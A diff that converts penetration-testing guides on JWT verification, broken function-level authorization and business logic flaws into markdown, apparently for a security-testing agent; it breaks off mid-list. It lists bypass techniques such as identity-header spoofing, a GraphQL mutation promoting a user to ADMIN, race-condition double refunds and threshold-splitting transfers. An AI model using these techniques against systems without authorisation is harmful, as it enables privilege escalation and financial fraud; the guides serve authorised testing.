3. Test token reuse across all services; many backends only check signature, not audience/typ
|
||||||
|
4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks
|
||||||
|
5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up
|
||||||
|
6. Try DPoP/mTLS absence to replay tokens from different devices
|
||||||
|
7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping
|
||||||
|
8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC
|
||||||
|
9. Favor minimal PoCs that clearly show cross-context acceptance and durable access
|
||||||
|
10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.
|
||||||
@@ -1,146 +1,154 @@
|
|||||||
<broken_function_level_authorization_guide>
|
---
|
||||||
<title>BROKEN FUNCTION LEVEL AUTHORIZATION (BFLA)</title>
|
name: broken-function-level-authorization
|
||||||
|
description: BFLA testing for action-level authorization failures across endpoints, admin functions, and API operations
|
||||||
|
---
|
||||||
|
|
||||||
<critical>BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.</critical>
|
# Broken Function Level Authorization (BFLA)
|
||||||
|
|
||||||
|
BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
<scope>
|
|
||||||
- Vertical authz: privileged/admin/staff-only actions reachable by basic users
|
- Vertical authz: privileged/admin/staff-only actions reachable by basic users
|
||||||
- Feature gates: toggles enforced at edge/UI, not at core services
|
- Feature gates: toggles enforced at edge/UI, not at core services
|
||||||
- Transport drift: REST vs GraphQL vs gRPC vs WebSocket with inconsistent checks
|
- Transport drift: REST vs GraphQL vs gRPC vs WebSocket with inconsistent checks
|
||||||
- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges
|
- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges
|
||||||
- Background workers/jobs performing actions without re-checking authz
|
- Background workers/jobs performing actions without re-checking authz
|
||||||
</scope>
|
|
||||||
|
|
||||||
<methodology>
|
## High-Value Actions
|
||||||
1. Build an Actor × Action matrix with at least: unauth, basic, premium, staff/admin. Enumerate actions (create/update/delete, approve/cancel, impersonate, export, invite, role-change, credit/refund).
|
|
||||||
2. Obtain tokens/sessions for each role. Exercise every action across all transports and encodings (JSON, form, multipart), including method overrides.
|
|
||||||
3. Vary headers and contextual selectors (org/tenant/project) and test behavior behind gateway vs direct-to-service.
|
|
||||||
4. Include background flows: job creation/finalization, webhooks, queues. Confirm re-validation of authz in consumers.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<discovery_techniques>
|
|
||||||
<surface_enumeration>
|
|
||||||
- Admin/staff consoles and APIs, support tools, internal-only endpoints exposed via gateway
|
|
||||||
- Hidden buttons and disabled UI paths (feature-flagged) mapped to still-live endpoints
|
|
||||||
- GraphQL schemas: mutations and admin-only fields/types; gRPC service descriptors (reflection)
|
|
||||||
- Mobile clients often reveal extra endpoints/roles in app bundles or network logs
|
|
||||||
</surface_enumeration>
|
|
||||||
|
|
||||||
<signals>
|
|
||||||
- 401/403 on UI but 200 via direct API call; differing status codes across transports
|
|
||||||
- Actions succeed via background jobs when direct call is denied
|
|
||||||
- Changing only headers (role/org) alters access without token change
|
|
||||||
</signals>
|
|
||||||
|
|
||||||
<high_value_actions>
|
|
||||||
- Role/permission changes, impersonation/sudo, invite/accept into orgs
|
- Role/permission changes, impersonation/sudo, invite/accept into orgs
|
||||||
- Approve/void/refund/credit issuance, price/plan overrides
|
- Approve/void/refund/credit issuance, price/plan overrides
|
||||||
- Export/report generation, data deletion, account suspension/reactivation
|
- Export/report generation, data deletion, account suspension/reactivation
|
||||||
- Feature flag toggles, quota/grant adjustments, license/seat changes
|
- Feature flag toggles, quota/grant adjustments, license/seat changes
|
||||||
- Security settings: 2FA reset, email/phone verification overrides
|
- Security settings: 2FA reset, email/phone verification overrides
|
||||||
</high_value_actions>
|
|
||||||
|
|
||||||
<exploitation_techniques>
|
## Reconnaissance
|
||||||
<verb_drift_and_aliases>
|
|
||||||
|
### Surface Enumeration
|
||||||
|
|
||||||
|
- Admin/staff consoles and APIs, support tools, internal-only endpoints exposed via gateway
|
||||||
|
- Hidden buttons and disabled UI paths (feature-flagged) mapped to still-live endpoints
|
||||||
|
- GraphQL schemas: mutations and admin-only fields/types; gRPC service descriptors (reflection)
|
||||||
|
- Mobile clients often reveal extra endpoints/roles in app bundles or network logs
|
||||||
|
|
||||||
|
### Signals
|
||||||
|
|
||||||
|
- 401/403 on UI but 200 via direct API call; differing status codes across transports
|
||||||
|
- Actions succeed via background jobs when direct call is denied
|
||||||
|
- Changing only headers (role/org) alters access without token change
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Verb Drift and Aliases
|
||||||
|
|
||||||
- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method
|
- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method
|
||||||
- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)
|
- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)
|
||||||
</verb_drift_and_aliases>
|
|
||||||
|
|
||||||
<edge_vs_core_mismatch>
|
### Edge vs Core Mismatch
|
||||||
|
|
||||||
- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF
|
- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF
|
||||||
- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence
|
- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence
|
||||||
</edge_vs_core_mismatch>
|
|
||||||
|
|
||||||
<feature_flag_bypass>
|
### Feature Flag Bypass
|
||||||
|
|
||||||
- Client-checked feature gates; call backend endpoints directly
|
- Client-checked feature gates; call backend endpoints directly
|
||||||
- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools
|
- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools
|
||||||
</feature_flag_bypass>
|
|
||||||
|
|
||||||
<batch_job_paths>
|
### Batch Job Paths
|
||||||
|
|
||||||
- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs
|
- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs
|
||||||
- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller
|
- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller
|
||||||
</batch_job_paths>
|
|
||||||
|
|
||||||
<content_type_paths>
|
### Content-Type Paths
|
||||||
|
|
||||||
- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser
|
- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser
|
||||||
</content_type_paths>
|
|
||||||
</exploitation_techniques>
|
|
||||||
|
|
||||||
<advanced_techniques>
|
## Advanced Techniques
|
||||||
<graphql>
|
|
||||||
|
### GraphQL
|
||||||
|
|
||||||
- Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields
|
- Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields
|
||||||
- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms
|
- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms
|
||||||
- Example:
|
|
||||||
{% raw %}
|
```graphql
|
||||||
mutation Promote($id:ID!){
|
mutation Promote($id:ID!){
|
||||||
a: updateUser(id:$id, role: ADMIN){ id role }
|
a: updateUser(id:$id, role: ADMIN){ id role }
|
||||||
}
|
}
|
||||||
{% endraw %}
|
```
|
||||||
</graphql>
|
|
||||||
|
### gRPC
|
||||||
|
|
||||||
<grpc>
|
|
||||||
- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role
|
- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role
|
||||||
- Reflection lists services/methods; call admin methods that the gateway hid
|
- Reflection lists services/methods; call admin methods that the gateway hid
|
||||||
</grpc>
|
|
||||||
|
|
||||||
<websocket>
|
### WebSocket
|
||||||
|
|
||||||
- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)
|
- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)
|
||||||
- Try emitting privileged actions after joining standard channels
|
- Try emitting privileged actions after joining standard channels
|
||||||
</websocket>
|
|
||||||
|
|
||||||
<multi_tenant>
|
### Multi-Tenant
|
||||||
|
|
||||||
- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token
|
- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token
|
||||||
</multi_tenant>
|
|
||||||
|
|
||||||
<microservices>
|
### Microservices
|
||||||
|
|
||||||
- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz
|
- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz
|
||||||
</microservices>
|
|
||||||
|
|
||||||
<bypass_techniques>
|
## Bypass Techniques
|
||||||
<header_trust>
|
|
||||||
|
### Header Trust
|
||||||
|
|
||||||
- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins
|
- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins
|
||||||
</header_trust>
|
|
||||||
|
|
||||||
<route_shadowing>
|
### Route Shadowing
|
||||||
|
|
||||||
- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains
|
- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains
|
||||||
</route_shadowing>
|
|
||||||
|
|
||||||
<idempotency_and_retries>
|
### Idempotency and Retries
|
||||||
|
|
||||||
- Retry or replay finalize/approve endpoints that apply state without checking actor on each call
|
- Retry or replay finalize/approve endpoints that apply state without checking actor on each call
|
||||||
</idempotency_and_retries>
|
|
||||||
|
|
||||||
<cache_key_confusion>
|
### Cache Key Confusion
|
||||||
|
|
||||||
- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps
|
- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps
|
||||||
</cache_key_confusion>
|
|
||||||
</bypass_techniques>
|
|
||||||
|
|
||||||
<validation>
|
## Testing Methodology
|
||||||
1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails.
|
|
||||||
2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement.
|
1. **Build Actor × Action matrix** - Unauth, basic, premium, staff/admin; enumerate actions per role
|
||||||
3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success.
|
2. **Obtain tokens/sessions** - For each role
|
||||||
4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources.
|
3. **Exercise every action** - Across all transports and encodings (JSON, form, multipart), including method overrides
|
||||||
</validation>
|
4. **Vary headers and selectors** - Org/tenant/project; test behind gateway vs direct-to-service
|
||||||
|
5. **Include background flows** - Job creation/finalization, webhooks, queues; confirm re-validation
|
||||||
|
|
||||||
|
## Validation
|
||||||
|
|
||||||
|
1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails
|
||||||
|
2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement
|
||||||
|
3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success
|
||||||
|
4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
<false_positives>
|
|
||||||
- Read-only endpoints mislabeled as admin but publicly documented
|
- Read-only endpoints mislabeled as admin but publicly documented
|
||||||
- Feature toggles intentionally open to all roles for preview/beta with clear policy
|
- Feature toggles intentionally open to all roles for preview/beta with clear policy
|
||||||
- Simulated environments where admin endpoints are stubbed with no side effects
|
- Simulated environments where admin endpoints are stubbed with no side effects
|
||||||
</false_positives>
|
|
||||||
|
|
||||||
<impact>
|
## Impact
|
||||||
|
|
||||||
- Privilege escalation to admin/staff actions
|
- Privilege escalation to admin/staff actions
|
||||||
- Monetary/state impact: refunds/credits/approvals without authorization
|
- Monetary/state impact: refunds/credits/approvals without authorization
|
||||||
- Tenant-wide configuration changes, impersonation, or data deletion
|
- Tenant-wide configuration changes, impersonation, or data deletion
|
||||||
- Compliance and audit violations due to bypassed approval workflows
|
- Compliance and audit violations due to bypassed approval workflows
|
||||||
</impact>
|
|
||||||
|
|
||||||
<pro_tips>
|
## Pro Tips
|
||||||
1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC.
|
|
||||||
2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings.
|
|
||||||
3. Inspect gateways for identity header injection; never trust client-provided identity.
|
|
||||||
4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor.
|
|
||||||
5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.</remember>
|
1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC
|
||||||
</broken_function_level_authorization_guide>
|
2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings
|
||||||
|
3. Inspect gateways for identity header injection; never trust client-provided identity
|
||||||
|
4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor
|
||||||
|
5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.
|
||||||
@@ -1,46 +1,23 @@
|
|||||||
<business_logic_flaws_guide>
|
---
|
||||||
<title>BUSINESS LOGIC FLAWS</title>
|
name: business-logic
|
||||||
|
description: Business logic testing for workflow bypass, state manipulation, and domain invariant violations
|
||||||
|
---
|
||||||
|
|
||||||
<critical>Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.</critical>
|
# Business Logic Flaws
|
||||||
|
|
||||||
|
Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
<scope>
|
|
||||||
- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
|
- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
|
||||||
- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
|
- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
|
||||||
- Authorization-by-logic: feature gates, role transitions, approval workflows
|
- Authorization-by-logic: feature gates, role transitions, approval workflows
|
||||||
- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing
|
- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing
|
||||||
- Multi-tenant isolation: cross-organization data or action bleed
|
- Multi-tenant isolation: cross-organization data or action bleed
|
||||||
- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency
|
- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency
|
||||||
</scope>
|
|
||||||
|
|
||||||
<methodology>
|
## High-Value Targets
|
||||||
1. Enumerate a state machine per critical workflow (states, transitions, pre/post-conditions). Note invariants (e.g., "refund ≤ captured amount").
|
|
||||||
2. Build an Actor × Action × Resource matrix with at least: unauth, basic user, premium, staff/admin; identify actions per role.
|
|
||||||
3. For each transition, test step skipping, repetition, reordering, and late mutation (modify inputs after validation but before commit).
|
|
||||||
4. Introduce time, concurrency, and channel variance: repeat with parallel requests, different content-types, mobile/web/API/GraphQL.
|
|
||||||
5. Validate persistence boundaries: verify that all services, queues, and jobs re-enforce invariants (no trust in upstream validation).
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<discovery_techniques>
|
|
||||||
<workflow_mapping>
|
|
||||||
- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints
|
|
||||||
- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions
|
|
||||||
- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription)
|
|
||||||
</workflow_mapping>
|
|
||||||
|
|
||||||
<input_surface>
|
|
||||||
- Hidden fields and client-computed totals; server must recompute on trusted sources
|
|
||||||
- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
|
|
||||||
- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes
|
|
||||||
</input_surface>
|
|
||||||
|
|
||||||
<state_time_axes>
|
|
||||||
- Replays: resubmit stale finalize/confirm requests
|
|
||||||
- Out-of-order: call finalize before verify; refund before capture; cancel after ship
|
|
||||||
- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges
|
|
||||||
</state_time_axes>
|
|
||||||
</discovery_techniques>
|
|
||||||
|
|
||||||
<high_value_targets>
|
|
||||||
- Pricing/cart: price locks, quote to order, tax/shipping computation
|
- Pricing/cart: price locks, quote to order, tax/shipping computation
|
||||||
- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
|
- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
|
||||||
- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
|
- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
|
||||||
@@ -49,123 +26,153 @@
|
|||||||
- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
|
- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
|
||||||
- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
|
- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
|
||||||
- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters
|
- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters
|
||||||
</high_value_targets>
|
|
||||||
|
|
||||||
<exploitation_techniques>
|
## Reconnaissance
|
||||||
<state_machine_abuse>
|
|
||||||
|
### Workflow Mapping
|
||||||
|
|
||||||
|
- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints
|
||||||
|
- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions
|
||||||
|
- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription)
|
||||||
|
|
||||||
|
### Input Surface
|
||||||
|
|
||||||
|
- Hidden fields and client-computed totals; server must recompute on trusted sources
|
||||||
|
- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
|
||||||
|
- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes
|
||||||
|
|
||||||
|
### State and Time Axes
|
||||||
|
|
||||||
|
- Replays: resubmit stale finalize/confirm requests
|
||||||
|
- Out-of-order: call finalize before verify; refund before capture; cancel after ship
|
||||||
|
- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### State Machine Abuse
|
||||||
|
|
||||||
- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition
|
- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition
|
||||||
- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
|
- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
|
||||||
- Split a single constrained action into many sub-actions under the threshold (limit slicing)
|
- Split a single constrained action into many sub-actions under the threshold (limit slicing)
|
||||||
</state_machine_abuse>
|
|
||||||
|
|
||||||
<concurrency_and_idempotency>
|
### Concurrency and Idempotency
|
||||||
|
|
||||||
- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
|
- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
|
||||||
- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
|
- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
|
||||||
- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund
|
- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund
|
||||||
</concurrency_and_idempotency>
|
|
||||||
|
|
||||||
<numeric_and_currency>
|
### Numeric and Currency
|
||||||
|
|
||||||
- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
|
- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
|
||||||
- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
|
- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
|
||||||
- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails
|
- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails
|
||||||
</numeric_and_currency>
|
|
||||||
|
|
||||||
<quotas_limits_inventory>
|
### Quotas, Limits, and Inventory
|
||||||
|
|
||||||
- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
|
- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
|
||||||
- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
|
- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
|
||||||
- Distributed counters without strong consistency enabling double-consumption
|
- Distributed counters without strong consistency enabling double-consumption
|
||||||
</quotas_limits_inventory>
|
|
||||||
|
|
||||||
<refunds_chargebacks>
|
### Refunds and Chargebacks
|
||||||
|
|
||||||
- Double-refund: refund via UI and support tool; refund partials summing above captured amount
|
- Double-refund: refund via UI and support tool; refund partials summing above captured amount
|
||||||
- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks
|
- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks
|
||||||
</refunds_chargebacks>
|
|
||||||
|
|
||||||
<feature_gates_and_roles>
|
### Feature Gates and Roles
|
||||||
|
|
||||||
- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
|
- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
|
||||||
- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)
|
- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)
|
||||||
</feature_gates_and_roles>
|
|
||||||
|
|
||||||
<advanced_techniques>
|
## Advanced Techniques
|
||||||
<event_driven_sagas>
|
|
||||||
|
### Event-Driven Sagas
|
||||||
|
|
||||||
- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
|
- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
|
||||||
- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
|
- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
|
||||||
- Cron/backfill jobs operating outside request-time authorization; mutate state broadly
|
- Cron/backfill jobs operating outside request-time authorization; mutate state broadly
|
||||||
</event_driven_sagas>
|
|
||||||
|
|
||||||
<microservices_boundaries>
|
### Microservices Boundaries
|
||||||
|
|
||||||
- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
|
- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
|
||||||
- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
|
- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
|
||||||
- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state
|
- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state
|
||||||
</microservices_boundaries>
|
|
||||||
|
|
||||||
<multi_tenant_isolation>
|
### Multi-Tenant Isolation
|
||||||
|
|
||||||
- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
|
- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
|
||||||
- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement
|
- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement
|
||||||
</multi_tenant_isolation>
|
|
||||||
|
|
||||||
<bypass_techniques>
|
## Bypass Techniques
|
||||||
- Content-type switching (json/form/multipart) to hit different code paths
|
|
||||||
|
- Content-type switching (JSON/form/multipart) to hit different code paths
|
||||||
- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
|
- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
|
||||||
- Client recomputation: totals, taxes, discounts computed on client and accepted by server
|
- Client recomputation: totals, taxes, discounts computed on client and accepted by server
|
||||||
- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware
|
- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware
|
||||||
</bypass_techniques>
|
|
||||||
|
|
||||||
<special_contexts>
|
## Special Contexts
|
||||||
<ecommerce>
|
|
||||||
|
### E-commerce
|
||||||
|
|
||||||
- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
|
- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
|
||||||
- Modify shipping tier post-quote; abuse returns to keep product and refund
|
- Modify shipping tier post-quote; abuse returns to keep product and refund
|
||||||
</ecommerce>
|
|
||||||
|
|
||||||
<banking_fintech>
|
### Banking/Fintech
|
||||||
|
|
||||||
- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
|
- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
|
||||||
- Exploit grace periods on holds/authorizations to withdraw again before settlement
|
- Exploit grace periods on holds/authorizations to withdraw again before settlement
|
||||||
</banking_fintech>
|
|
||||||
|
|
||||||
<saas_b2b>
|
### SaaS/B2B
|
||||||
|
|
||||||
- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
|
- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
|
||||||
- Usage metering: report late or duplicate usage to avoid billing or to over-consume
|
- Usage metering: report late or duplicate usage to avoid billing or to over-consume
|
||||||
</saas_b2b>
|
|
||||||
</special_contexts>
|
|
||||||
|
|
||||||
<chaining_attacks>
|
## Chaining Attacks
|
||||||
|
|
||||||
- Business logic + race: duplicate benefits before state updates
|
- Business logic + race: duplicate benefits before state updates
|
||||||
- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
|
- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
|
||||||
- Business logic + CSRF: force a victim to complete a sensitive step sequence
|
- Business logic + CSRF: force a victim to complete a sensitive step sequence
|
||||||
</chaining_attacks>
|
|
||||||
|
|
||||||
<validation>
|
## Testing Methodology
|
||||||
1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas).
|
|
||||||
2. Provide side-by-side evidence for intended vs abused flows with the same principal.
|
1. **Enumerate state machine** - Per critical workflow (states, transitions, pre/post-conditions); note invariants
|
||||||
3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views).
|
2. **Build Actor × Action × Resource matrix** - Unauth, basic user, premium, staff/admin; identify actions per role
|
||||||
4. Quantify impact per action and at scale (unit loss × feasible repetitions).
|
3. **Test transitions** - Step skipping, repetition, reordering, late mutation
|
||||||
</validation>
|
4. **Introduce variance** - Time, concurrency, channel (mobile/web/API/GraphQL), content-types
|
||||||
|
5. **Validate persistence boundaries** - All services, queues, and jobs re-enforce invariants
|
||||||
|
|
||||||
|
## Validation
|
||||||
|
|
||||||
|
1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas)
|
||||||
|
2. Provide side-by-side evidence for intended vs abused flows with the same principal
|
||||||
|
3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views)
|
||||||
|
4. Quantify impact per action and at scale (unit loss × feasible repetitions)
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
<false_positives>
|
|
||||||
- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
|
- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
|
||||||
- Visual-only inconsistencies with no durable or exploitable state change
|
- Visual-only inconsistencies with no durable or exploitable state change
|
||||||
- Admin-only operations with proper audit and approvals
|
- Admin-only operations with proper audit and approvals
|
||||||
</false_positives>
|
|
||||||
|
|
||||||
<impact>
|
## Impact
|
||||||
|
|
||||||
- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
|
- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
|
||||||
- Regulatory/contractual violations (billing accuracy, consumer protection)
|
- Regulatory/contractual violations (billing accuracy, consumer protection)
|
||||||
- Denial of inventory/services to legitimate users through resource exhaustion
|
- Denial of inventory/services to legitimate users through resource exhaustion
|
||||||
- Privilege retention or unauthorized access to premium features
|
- Privilege retention or unauthorized access to premium features
|
||||||
</impact>
|
|
||||||
|
|
||||||
<pro_tips>
|
## Pro Tips
|
||||||
1. Start from invariants and ledgers, not UI—prove conservation of value breaks.
|
|
||||||
2. Test with time and concurrency; many bugs only appear under pressure.
|
|
||||||
3. Recompute totals server-side; never accept client math—flag when you observe otherwise.
|
|
||||||
4. Treat idempotency and retries as first-class: verify key scope and persistence.
|
|
||||||
